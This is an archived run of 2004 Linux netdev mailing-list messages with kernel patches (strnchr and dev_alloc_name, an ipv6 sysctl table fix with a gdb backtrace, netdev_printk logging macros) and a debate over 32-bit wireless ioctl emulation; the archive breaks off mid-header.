&@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2598 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Fri, 16 Jan 2004 20:23:39 -0500 Alex Pankratov wrote: > Stephen, > > perhaps it'd make sense to bail out from dev_alloc_name() > without iterating if the name is not wildcarded ? Okay, this patch avoids the loop if no wildcarding present, and keeps the same behaviour as original. It adds the string function strnchr to avoid searching past the maximum ifname size to find the format character. diff -Nru a/include/linux/string.h b/include/linux/string.h --- a/include/linux/string.h Mon Jan 19 11:30:38 2004 +++ b/include/linux/string.h Mon Jan 19 11:30:38 2004 @@ -52,6 +52,9 @@ #ifndef __HAVE_ARCH_STRCHR extern char * strchr(const char *,int); #endif +#ifndef __HAVE_ARCH_STRNCHR +extern char * strnchr(const char *, size_t, int); +#endif #ifndef __HAVE_ARCH_STRRCHR extern char * strrchr(const char *,int); #endif diff -Nru a/lib/string.c b/lib/string.c --- a/lib/string.c Mon Jan 19 11:30:38 2004 +++ b/lib/string.c Mon Jan 19 11:30:38 2004 @@ -271,6 +271,22 @@ } #endif +#ifndef __HAVE_ARCH_STRNCHR +/** + * strnchr - Find a character in a length limited string + * @s: The string to be searched + * @count: The number of characters to be searched + * @c: The character to search for + */ +char *strnchr(const char *s, size_t count, int c) +{ + for (; count-- && *s != '\0'; ++s) + if (*s == (char) c) + return (char *) s; + return NULL; +} +#endif + #ifndef __HAVE_ARCH_STRLEN /** * strlen - Find the length of a string diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Mon Jan 19 11:30:38 2004 +++ b/net/core/dev.c Mon Jan 19 11:30:38 2004 @@ -697,42 +697,43 @@ int dev_alloc_name(struct net_device *dev, const char *name) { - int i; + int i = 0; char buf[IFNAMSIZ]; const char *p; const int max_netdevices = 8*PAGE_SIZE; long *inuse; struct net_device *d; - /* - * Verify the string as this thing may have come from - * the user. There must be either one "%d" and no other "%" - * characters, or no "%" characters at all. - */ - p = strchr(name, '%'); - if (p && ((p[1] != 'd' || strchr(p + 2, '%')) - || (p - name) > IFNAMSIZ-2)) - return -EINVAL; + p = strnchr(name, IFNAMSIZ-1, '%'); + if (p) { + /* + * Verify the string as this thing may have come from + * the user. There must be either one "%d" and no other "%" + * characters. + */ + if (p[1] != 'd' || strchr(p + 2, '%')) + return -EINVAL; - /* Use one page as a bit array of possible slots */ - inuse = (long *) get_zeroed_page(GFP_ATOMIC); - if (!inuse) - return -ENOMEM; + /* Use one page as a bit array of possible slots */ + inuse = (long *) get_zeroed_page(GFP_ATOMIC); + if (!inuse) + return -ENOMEM; - for (d = dev_base; d; d = d->next) { - if (!sscanf(d->name, name, &i)) - continue; - if (i < 0 || i >= max_netdevices) - continue; + for (d = dev_base; d; d = d->next) { + if (!sscanf(d->name, name, &i)) + continue; + if (i < 0 || i >= max_netdevices) + continue; - /* avoid cases where sscanf is not exact inverse of printf */ - snprintf(buf, sizeof(buf), name, i); - if (!strncmp(buf, d->name, IFNAMSIZ)) - set_bit(i, inuse); - } + /* avoid cases where sscanf is not exact inverse of printf */ + snprintf(buf, sizeof(buf), name, i); + if (!strncmp(buf, d->name, IFNAMSIZ)) + set_bit(i, inuse); + } - i = find_first_zero_bit(inuse, max_netdevices); - free_page((unsigned long) inuse); + i = find_first_zero_bit(inuse, max_netdevices); + free_page((unsigned long) inuse); + } snprintf(buf, sizeof(buf), name, i); if (!__dev_get_by_name(buf)) { From jt@bougret.hpl.hp.com Mon Jan 19 11:49:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 11:50:09 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JJnumK010442 for ; Mon, 19 Jan 2004 11:49:56 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id 229851C024ED; Mon, 19 Jan 2004 11:49:44 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id LAA26234; Mon, 19 Jan 2004 11:49:43 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AifP5-0002Su-00; Mon, 19 Jan 2004 11:49:43 -0800 Date: Mon, 19 Jan 2004 11:49:43 -0800 To: Andi Kleen Cc: "David S. Miller" , hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119194943.GA9360@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040119155412.2bffee5a.ak@suse.de> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2599 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 01:33:43PM +0100, Andi Kleen wrote: > > Some distributions call iwconfig at every bootup and I was sick of > seeing all the unimplemented ioctl messages on AMD64 with a 32bit userland. > > This patch implements ioctl emulation for the wireless subsytem. > The only structure that was incompatible from visual inspection was > "iw_point". The rest is just passed through. > > It reuses the existing ioctl description table, but renames it to > export it (standard_ioctls wasn't a good name for a global variable) I'm glad that you found the ioctl description table useful, the code look neat and simple. When I did redesign the driver API in WE-13, ioctl emulation for 64 bits was definitely on my mind (thanks to Dave warning me about it). Also, from the very start, the API was defined with explicitely sized types, which help. However, this is my prefered way to do things. I would much prefer to see you using native version of the Wireless Tools, especially that the tools and the kernel need to be in sync as far as version is concerned. It should be a simple matter of recompiling the tools package. One of the main strength of OpenSource is that you can recompile for your platform, and I think we should fully exploit this advantage, especially for the base system. Otherwise, why not enable 16bit compatibility on i386 for ELKS packages ? > I don't actually have have a working wireless card (only some non supported > Samsung one), so I wasn't able to test it, but at least the messages > are gone. Actually, the devil is always in the details. On Mon, Jan 19, 2004 at 03:54:12PM +0100, Andi Kleen wrote: > On Mon, 19 Jan 2004 06:39:21 -0800 > "David S. Miller" wrote: > > > On Mon, 19 Jan 2004 15:39:19 +0100 > > Andi Kleen wrote: > > > > > Went it in after 2.6.1? > > > > Yes, Linus sucked it in like 10 hours ago, about 4 hours right before you made > > your initial posting on this thread. > > Oh, I actually posted it yesterday but due a broken MTA it didn't go out @) > But I didn't check BK anyways so it would not have made much difference. > > -Andi It seems that the BK->Web stuff has not yet picked your updates, because I don't see them (and of course the snapshot on kernel.org is too old). Let's just be happy that some code is in ;-) Regards, Jean From krkumar@us.ibm.com Mon Jan 19 11:59:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:00:03 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JJxomK011058 for ; Mon, 19 Jan 2004 11:59:50 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0JJwqo1343582; Mon, 19 Jan 2004 14:59:02 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JJwevC063874; Mon, 19 Jan 2004 12:58:41 -0700 Date: Mon, 19 Jan 2004 11:49:29 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp15191261uds.beaverton.ibm.com To: akpm@osdl.org cc: netdev@oss.sgi.com, , KK Subject: [TEST_PATCH]Re: Fw: Oops in register_proc_table (2.6.1-mm4) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2600 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Hi, Can you test with following patch ? thanks, - KK diff -ruN linux-2.6.0-rc2-bk6/net/ipv6/route.c linux-2.6.0-rc2-bk6.new/net/ipv6/route.c --- linux-2.6.0-rc2-bk6/net/ipv6/route.c 2004-01-19 11:41:14.000000000 -0800 +++ linux-2.6.0-rc2-bk6.new/net/ipv6/route.c 2004-01-19 11:42:33.000000000 -0800 @@ -1974,6 +1974,7 @@ .proc_handler = &proc_dointvec_jiffies, .strategy = &sysctl_jiffies, }, + { .ctl_name = 0 } }; #endif > OK, I can reproduce this oops now. > > 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) at > string.h:182 > 182 __asm__ __volatile__( > (gdb) bt > #0 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) > at string.h:182 > #1 0xc0126fcb in register_proc_table (table=0xc04cd540, root=0xcff92680) > at sysctl.c:1187 > #2 0xc0126fcb in register_proc_table (table=0xc04cf624, root=0xcff95680) > at sysctl.c:1187 > #3 0xc0126fcb in register_proc_table (table=0xc0451958, root=0xcffa0380) > at sysctl.c:1187 > #4 0xc051f727 in sysctl_init () at sysctl.c:854 > #5 0xc0105169 in init (unused=0x0) at init/main.c:557 > (gdb) f 3 > #3 0xc0126fcb in register_proc_table (table=0xc0451958, root=0xcffa0380) > at sysctl.c:1187 > 1187 register_proc_table(table->child, de); > (gdb) p *table > $1 = {ctl_name = 3, procname = 0xc043394e "net", data = 0x0, maxlen = 0, > mode = 365, child = 0xc04cf5a0, > proc_handler = 0, strategy = 0, de = 0xcff95680, extra1 = 0x0, extra2 = > 0x0} > (gdb) f 2 > #2 0xc0126fcb in register_proc_table (table=0xc04cf624, root=0xcff95680) > at sysctl.c:1187 > 1187 register_proc_table(table->child, de); > (gdb) p *table > $2 = {ctl_name = 12, procname = 0xc0431b88 "ipv6", data = 0x0, maxlen = 0, > mode = 365, > child = 0xc04cd540, proc_handler = 0, strategy = 0, de = 0xcff92680, > extra1 = 0x0, extra2 = 0x0} > (gdb) f 1 > #1 0xc0126fcb in register_proc_table (table=0xc04cd540, root=0xcff92680) > at sysctl.c:1187 > 1187 register_proc_table(table->child, de); > (gdb) p *table > $3 = {ctl_name = 18, procname = 0xc0431402 "route", data = 0x0, maxlen = 0, > mode = 365, > child = 0xc04cc680, proc_handler = 0, strategy = 0, de = 0xcff92600, > extra1 = 0x0, extra2 = 0x0} > (gdb) f 0 > #0 0xc0126f7d in register_proc_table (table=0xc04cc80c, root=0xcff92600) > at string.h:182 > 182 __asm__ __volatile__( > (gdb) p *table > $4 = {ctl_name = 1220, procname = 0x927c0
, > data = 0x9, maxlen = 60000, > mode = 500, child = 0x1000, proc_handler = 0, strategy = 0, de = 0x0, > extra1 = 0x0, extra2 = 0x0} > > It seems that ipv6 is registering something under /proc/net/ipv6/route > which has a bad ctl_table.procname. I don't know what it is - the ipv6 > sysctl code overpowered my attention span. > > The .config is attached - 2.6.1-mm4 should demonstrate the problem. > > Can one of the ip6 guys please look at this? From ak@suse.de Mon Jan 19 12:01:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:01:59 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JK1jmK011474 for ; Mon, 19 Jan 2004 12:01:46 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id E9CF71A1445C; Mon, 19 Jan 2004 21:01:39 +0100 (CET) Date: Mon, 19 Jan 2004 21:01:32 +0100 From: Andi Kleen To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, davem@redhat.com, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119210132.0c52df58.ak@suse.de> In-Reply-To: <20040119194943.GA9360@bougret.hpl.hp.com> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2601 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 11:49:43 -0800 Jean Tourrilhes wrote: > However, this is my prefered way to do things. I would much > prefer to see you using native version of the Wireless Tools, > especially that the tools and the kernel need to be in sync as far as > version is concerned. It should be a simple matter of recompiling the > tools package. I don't use wireless at all[1] - I was just annoyed at the storm of unimplemented ioctl messages when booting up 32bit userland. SuSE 9.0 boot up calls iwconfig by default. [1] I actually have a Samsung wireless card, but it's not working due to missing support for the Cirrus 6729 PCMCIA bridge on there. > One of the main strength of OpenSource is that you can > recompile for your platform, and I think we should fully exploit this > advantage, especially for the base system. Otherwise, why not enable > 16bit compatibility on i386 for ELKS packages ? I maintain the 32bit emulation on x86-64 and booting an unmodified 32bit distribution is an important test case for me. Your suggestion is like someone suggesting to you to just use ethernet with cables instead of this unreliable wireless stuff... > > It seems that the BK->Web stuff has not yet picked your > updates, because I don't see them (and of course the snapshot on > kernel.org is too old). It's actually there, just hidden in a large batch of network updates. -Andi From ak@suse.de Mon Jan 19 12:06:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:06:30 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JK6GmK012202 for ; Mon, 19 Jan 2004 12:06:17 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 1E8B11A14518; Mon, 19 Jan 2004 21:06:11 +0100 (CET) Date: Mon, 19 Jan 2004 21:06:05 +0100 From: Andi Kleen To: Stephen Hemminger Cc: davem@redhat.com, ap@cipherica.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119210605.3cea32b0.ak@suse.de> In-Reply-To: <20040119113204.5913a8d6.shemminger@osdl.org> References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2602 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 11:32:04 -0800 Stephen Hemminger wrote: > +#ifndef __HAVE_ARCH_STRNCHR Please drop the ifdef. Don't want to encourage anybody to write strrchr() in assembly. -Andi From jt@bougret.hpl.hp.com Mon Jan 19 12:19:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:19:29 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKJEmK015782 for ; Mon, 19 Jan 2004 12:19:16 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 592391C02DDD; Mon, 19 Jan 2004 12:19:13 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id MAA27433; Mon, 19 Jan 2004 12:19:13 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1Aifrc-0002YN-00; Mon, 19 Jan 2004 12:19:12 -0800 Date: Mon, 19 Jan 2004 12:19:12 -0800 To: Andi Kleen Cc: davem@redhat.com, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119201912.GA9701@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040119210132.0c52df58.ak@suse.de> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2603 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 09:01:32PM +0100, Andi Kleen wrote: > > [1] I actually have a Samsung wireless card, but it's not working > due to missing support for the Cirrus 6729 PCMCIA bridge on there. I was wondering, because Samsungs cards should be supported by the HostAP driver (which remind me, HostAP needs to go in the kernel). > > One of the main strength of OpenSource is that you can > > recompile for your platform, and I think we should fully exploit this > > advantage, especially for the base system. Otherwise, why not enable > > 16bit compatibility on i386 for ELKS packages ? > > I maintain the 32bit emulation on x86-64 and booting an unmodified 32bit distribution > is an important test case for me. Your suggestion is like someone suggesting > to you to just use ethernet with cables instead of this unreliable wireless stuff... This analogy doesn't work. If your network is wireless, you won't connect to it with an Ethernet card (and vice versa). A fully 64 bits userspace has only very minor downside, and most users won't see any difference. If we follow your line of thought, we should all be using a 16bit userspace on i386 (more compact, more compatible). > > It seems that the BK->Web stuff has not yet picked your > > updates, because I don't see them (and of course the snapshot on > > kernel.org is too old). > > It's actually there, just hidden in a large batch of network updates. It was backlogged, it seems to be catching up (but I need to see if I find it). http://linux.bkbits.net:8080/linux-2.5/ChangeSet@-4d?nav=index.html > -Andi Jean From jkenisto@us.ibm.com Mon Jan 19 12:30:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:30:36 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKUCmK016806 for ; Mon, 19 Jan 2004 12:30:21 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i0JKTtS4424132; Mon, 19 Jan 2004 15:29:55 -0500 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JKTqGl084472; Mon, 19 Jan 2004 15:29:53 -0500 Message-ID: <400C3D3E.BFCC25CE@us.ibm.com> Date: Mon, 19 Jan 2004 12:25:34 -0800 From: Jim Keniston X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: LKML , netdev CC: Jeff Garzik , Andrew Morton , jkenisto , "Feldman, Scott" , Larry Kessler Subject: [PATCH 2.6.1] Net device error logging Content-Type: multipart/mixed; boundary="------------89C1EB0B57D52339805CC03D" X-archive-position: 2604 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkenisto@us.ibm.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------89C1EB0B57D52339805CC03D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The enclosed patch implements the netdev_* error-logging macros for network drivers. These macros have been discussed at length on the linux-kernel and linux-netdev lists. All issues that reviewers have raised were addressed previously. This is just an update for v2.6.1. In December, Jeff Garzik indicated his intention to merge this into the net-drivers-2.5-exp queue, but he apparently never got around to it. As previously discussed, these macros are in demand now (e.g., for the e1000 driver) and have essentially no impact on drivers that don't use them. RECAP (from previous posts): Calls to the netdev_* macros (netdev_printk and wrappers such as netdev_err) are intended to replace calls to printk in network device drivers. These macros have the following characteristics: - The first arg is a pointer to the net_device struct. - The second arg, which is a NETIF_MSG_* message level, can be used to implement verbosity control. - The remaining format + args are the same as in the corresponding printk call. - Standard message prefixes: verbose (interface name, driver name, bus ID) during probe, or just the interface name once the device is registered. - The current implementation just calls printk. However, the netdev_* interface and availability of the net_device pointer open the door for logging additional information (via printk, via evlog/netlink, etc.) as desired, with no change to driver code. Examples: netdev_err(netdev, RX_ERR, "No mem: dropped packet\n"); logs a message such as the following if the NETIF_MSG_RX_ERR bit is set in netdev->msg_enable. eth2: No mem: dropped packet netdev_fatal(netdev, PROBE, "The EEPROM Checksum Is Not Valid\n"); or netdev_err(netdev, ALL, "The EEPROM Checksum Is Not Valid\n"); unconditionally logs a message such as: eth%d (e1000 0000:00:03.0): The EEPROM Checksum Is Not Valid The message's prefix includes the driver name and bus ID because the message is logged at probe time, before netdev is registered. SAMPLE DRIVERS As examples of how the netdev_* macros could be used, patches for the v2.6.1 e100, e1000, and tg3 drivers are available on request. LINUX v2.4 SUPPORT Since there is no v2.6-style struct device underlying the net_device, a v2.4.24-compatible version of netdev_printk would always log the interface name as the message prefix: #define netdev_printk(sevlevel, netdev, msglevel, format, arg...) \ do { \ if (NETIF_MSG_##msglevel == NETIF_MSG_ALL \ || (netdev->msg_enable & NETIF_MSG_##msglevel)) { \ printk(sevlevel "%s: " format , netdev->name , ## arg); \ } \ } while (0) Jim Keniston IBM Linux Technology Center --------------89C1EB0B57D52339805CC03D Content-Type: text/plain; charset=us-ascii; name="netdev-2.6.1.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="netdev-2.6.1.patch" diff -Naur linux.org/include/linux/netdevice.h linux.netdev.patched/include/linux/netdevice.h --- linux.org/include/linux/netdevice.h Fri Jan 16 14:26:19 2004 +++ linux.netdev.patched/include/linux/netdevice.h Fri Jan 16 14:26:19 2004 @@ -467,6 +467,9 @@ struct divert_blk *divert; #endif /* CONFIG_NET_DIVERT */ + /* NETIF_MSG_* flags to control the types of events we log */ + int msg_enable; + /* class/net/name entry */ struct class_device class_dev; struct net_device_stats* (*last_stats)(struct net_device *); @@ -749,6 +752,7 @@ NETIF_MSG_PKTDATA = 0x1000, NETIF_MSG_HW = 0x2000, NETIF_MSG_WOL = 0x4000, + NETIF_MSG_ALL = -1, /* always log message */ }; #define netif_msg_drv(p) ((p)->msg_enable & NETIF_MSG_DRV) @@ -910,6 +914,41 @@ #ifdef CONFIG_SYSCTL extern char *net_sysctl_strdup(const char *s); #endif + +/* debugging and troubleshooting/diagnostic helpers. */ +/** + * netdev_printk() - Log message with interface name, gated by message level + * @sevlevel: severity level -- e.g., KERN_INFO + * @netdev: net_device pointer + * @msglevel: a standard message-level flag with the NETIF_MSG_ prefix removed. + * Unless msglevel is ALL, log the message only if that flag is set in + * netdev->msg_enable. + * @format: as with printk + * @args: as with printk + */ +extern int __netdev_printk(const char *sevlevel, + const struct net_device *netdev, int msglevel, const char *format, ...); +#define netdev_printk(sevlevel, netdev, msglevel, format, arg...) \ + __netdev_printk(sevlevel , netdev , NETIF_MSG_##msglevel , \ + format , ## arg) + +#ifdef DEBUG +#define netdev_dbg(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_DEBUG , netdev , msglevel , format , ## arg) +#else +#define netdev_dbg(netdev, msglevel, format, arg...) do {} while (0) +#endif + +#define netdev_err(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_ERR , netdev , msglevel , format , ## arg) +#define netdev_info(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_INFO , netdev , msglevel , format , ## arg) +#define netdev_warn(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_WARNING , netdev , msglevel , format , ## arg) + +/* report fatal error unconditionally; msglevel ignored for now */ +#define netdev_fatal(netdev, msglevel, format, arg...) \ + netdev_printk(KERN_ERR , netdev , ALL , format , ## arg) #endif /* __KERNEL__ */ diff -Naur linux.org/net/core/dev.c linux.netdev.patched/net/core/dev.c --- linux.org/net/core/dev.c Fri Jan 16 14:26:19 2004 +++ linux.netdev.patched/net/core/dev.c Fri Jan 16 14:26:19 2004 @@ -3049,6 +3049,79 @@ subsys_initcall(net_dev_init); +static spinlock_t netdev_printk_lock = SPIN_LOCK_UNLOCKED; +/** + * __netdev_printk() - Log message with interface name, gated by message level + * @sevlevel: severity level -- e.g., KERN_INFO + * @netdev: net_device pointer + * @msglevel: a standard message-level flag such as NETIF_MSG_PROBE. + * Unless msglevel is NETIF_MSG_ALL, log the message only if + * that flag is set in netdev->msg_enable. + * @format: as with printk + * @args: as with printk + * + * Does the work for the netdev_printk macro. + * For a lot of network drivers, the probe function looks like + * ... + * netdev = alloc_netdev(...); // or alloc_etherdev(...) + * SET_NETDEV_DEV(netdev, dev); + * ... + * register_netdev(netdev); + * ... + * netdev_printk and its wrappers (e.g., netdev_err) can be used as + * soon as you have a valid net_device pointer -- e.g., from alloc_netdev, + * alloc_etherdev, or init_etherdev. (Before that, use dev_printk and + * its wrappers to report device errors.) It's common for an interface to + * have a name like "eth%d" until the device is successfully configured, + * and the call to register_netdev changes it to a "real" name like "eth0". + * + * If the interface's reg_state is NETREG_REGISTERED, we assume that it has + * been successfully set up in sysfs, and we prepend only the interface name + * to the message -- e.g., "eth0: NIC Link is Down". The interface + * name can be used to find eth0's driver, bus ID, etc. in sysfs. + * + * For any other value of reg_state, we prepend the driver name and bus ID + * as well as the (possibly incomplete) interface name -- e.g., + * "eth%d (e100 0000:00:03.0): Failed to map PCI address..." + * + * Probe functions that alloc and register in one step (via init_etherdev), + * or otherwise register the device before the probe completes successfully, + * may need to take other steps to ensure that the failing device is clearly + * identified. + */ +int __netdev_printk(const char *sevlevel, const struct net_device *netdev, + int msglevel, const char *format, ...) +{ + if (!netdev || !format) { + return -EINVAL; + } + if (msglevel == NETIF_MSG_ALL || (netdev->msg_enable & msglevel)) { + static char msg[512]; /* protected by netdev_printk_lock */ + unsigned long flags; + va_list args; + struct device *dev = netdev->class_dev.dev; + + spin_lock_irqsave(&netdev_printk_lock, flags); + va_start(args, format); + vsnprintf(msg, 512, format, args); + va_end(args); + + if (!sevlevel) { + sevlevel = ""; + } + + if (netdev->reg_state == NETREG_REGISTERED || !dev) { + printk("%s%s: %s", sevlevel, netdev->name, msg); + } else { + printk("%s%s (%s %s): %s", sevlevel, netdev->name, + dev->driver->name, dev->bus_id, msg); + } + spin_unlock_irqrestore(&netdev_printk_lock, flags); + } + return 0; +} + +EXPORT_SYMBOL(__netdev_printk); EXPORT_SYMBOL(__dev_get); EXPORT_SYMBOL(__dev_get_by_flags); EXPORT_SYMBOL(__dev_get_by_index); --------------89C1EB0B57D52339805CC03D-- From ak@suse.de Mon Jan 19 12:35:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:35:27 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKZDmK017239 for ; Mon, 19 Jan 2004 12:35:14 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id DF2E61A1496B; Mon, 19 Jan 2004 21:35:07 +0100 (CET) Date: Mon, 19 Jan 2004 21:35:01 +0100 From: Andi Kleen To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, davem@redhat.com, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119213501.4d2420e8.ak@suse.de> In-Reply-To: <20040119201912.GA9701@bougret.hpl.hp.com> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> 